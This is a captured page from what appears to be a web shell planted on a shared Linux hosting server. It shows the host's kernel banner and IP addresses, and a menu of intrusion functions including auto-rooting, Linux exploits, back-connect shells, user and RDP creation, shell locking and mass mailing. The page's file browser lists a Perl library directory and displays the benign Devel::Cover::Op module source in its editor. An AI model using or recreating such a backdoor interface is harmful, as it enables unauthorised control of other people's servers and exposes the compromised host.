Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
x86_64-linux-gnu /
perl5 /
5.34 /
Devel /
Cover /
[ HOME SHELL ]
Name
Size
Permission
Action
Annotation
[ DIR ]
drwxr-xr-x
DB
[ DIR ]
drwxr-xr-x
Report
[ DIR ]
drwxr-xr-x
Branch.pm
2.28
KB
-rw-r--r--
Collection.pm
25.29
KB
-rw-r--r--
Condition.pm
1.35
KB
-rw-r--r--
Condition_and_2.pm
1.03
KB
-rw-r--r--
Condition_and_3.pm
1.04
KB
-rw-r--r--
Condition_or_2.pm
1.02
KB
-rw-r--r--
Condition_or_3.pm
1.04
KB
-rw-r--r--
Condition_xor_4.pm
1.03
KB
-rw-r--r--
Criterion.pm
2.71
KB
-rw-r--r--
DB.pm
30.7
KB
-rw-r--r--
Dumper.pm
1.37
KB
-rw-r--r--
Html_Common.pm
884
B
-rw-r--r--
Inc.pm
1.23
KB
-rw-r--r--
Op.pm
2.91
KB
-rw-r--r--
Pod.pm
1.53
KB
-rw-r--r--
Statement.pm
1.19
KB
-rw-r--r--
Subroutine.pm
1.19
KB
-rw-r--r--
Test.pm
14.12
KB
-rw-r--r--
Time.pm
1.53
KB
-rw-r--r--
Truth_Table.pm
15.63
KB
-rw-r--r--
Tutorial.pod
5.24
KB
-rw-r--r--
Util.pm
2.1
KB
-rw-r--r--
Web.pm
28.17
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Op.pm
# Copyright 2001-2019, Paul Johnson (paul@pjcj.net) # This software is free. It is licensed under the same terms as Perl itself. # The latest version of this software should be available from my homepage: # http://www.pjcj.net package Devel::Cover::Op; use strict; use warnings; our $VERSION = '1.36'; # VERSION use Devel::Cover::Dumper; use Devel::Cover qw( -ignore blib -ignore \\wB\\w ); use B::Concise qw( set_style add_callback ); my %style = ("terse" => ["(?(#label =>\n)?)(*( )*)#class (#addr) #name <#cover> (?([#targ])?) " . "#svclass~(?((#svaddr))?)~#svval~(?(label \"#coplabel\")?)\n", "(*( )*)goto #class (#addr)\n", "#class pp_#name"], "concise" => ["#hyphseq2 #addr10 #cover12 (*( (x( ;)x))*)<#classsym> " . "#exname#arg(?([#targarglife])?)~#flags(?(/#private)?)(x(;~->#next)x)\n", " (*( )*) goto #seq\n", "(?(<#seq>)?)#exname#arg(?([#targarglife])?)"], "debug" => ["#class (#addr)\n\tcover\t\t#cover\n\top_next\t\t#nextaddr\n\top_sibling\t#sibaddr\n\t" . "op_ppaddr\tPL_ppaddr[OP_#NAME]\n\top_type\t\t#typenum\n\top_seq\t\t" . "#seqnum\n\top_flags\t#flagval\n\top_private\t#privval\n" . "(?(\top_first\t#firstaddr\n)?)(?(\top_last\t\t#lastaddr\n)?)" . "(?(\top_sv\t\t#svaddr\n)?)", " GOTO #addr\n", "#addr"], ); my @Options; sub import { my $class = shift; set_style(@{$style{concise}}); for (@_) { /-(.*)/ && exists $style{$1} ? set_style(@{$style{$1}}) : push @Options, $_; } my $final = 1; add_callback(sub { my ($h, $op, $format, $level) = @_; my $key = Devel::Cover::get_key($op); # print Dumper Devel::Cover::coverage unless $d++; if ($h->{seq}) { my ($s, $b, $c) = map Devel::Cover::coverage($final ? $final-- : 0)->{$_}{$key}, qw(statement branch condition); local $" = ","; no warnings "uninitialized"; $h->{cover} = $s ? "s[$s]" : $b ? "b[@$b]" : $c ? "c[@$c]" : ""; } else { $h->{cover} = ""; } }); } END { B::Concise::compile(@Options)->() } 1 __END__ =head1 NAME Devel::Cover::Op - B::Concise with coverage data =head1 VERSION version 1.36 =head1 SYNOPSIS perl -Mblib -MDevel::Cover::Op prog [options] =head1 DESCRIPTION This module works as if calling B::Concise but also outputs coverage information. Its primary purpose is to aid in the development of Devel::Cover. See comments in Cover.xs (especially set_conditional()) to aid in interpreting the output. =head1 SEE ALSO Devel::Cover =head1 BUGS Huh? =head1 LICENCE Copyright 2001-2019, Paul Johnson (paul@pjcj.net) This software is free. It is licensed under the same terms as Perl itself. The latest version of this software should be available from my homepage: http://www.pjcj.net =cut
Close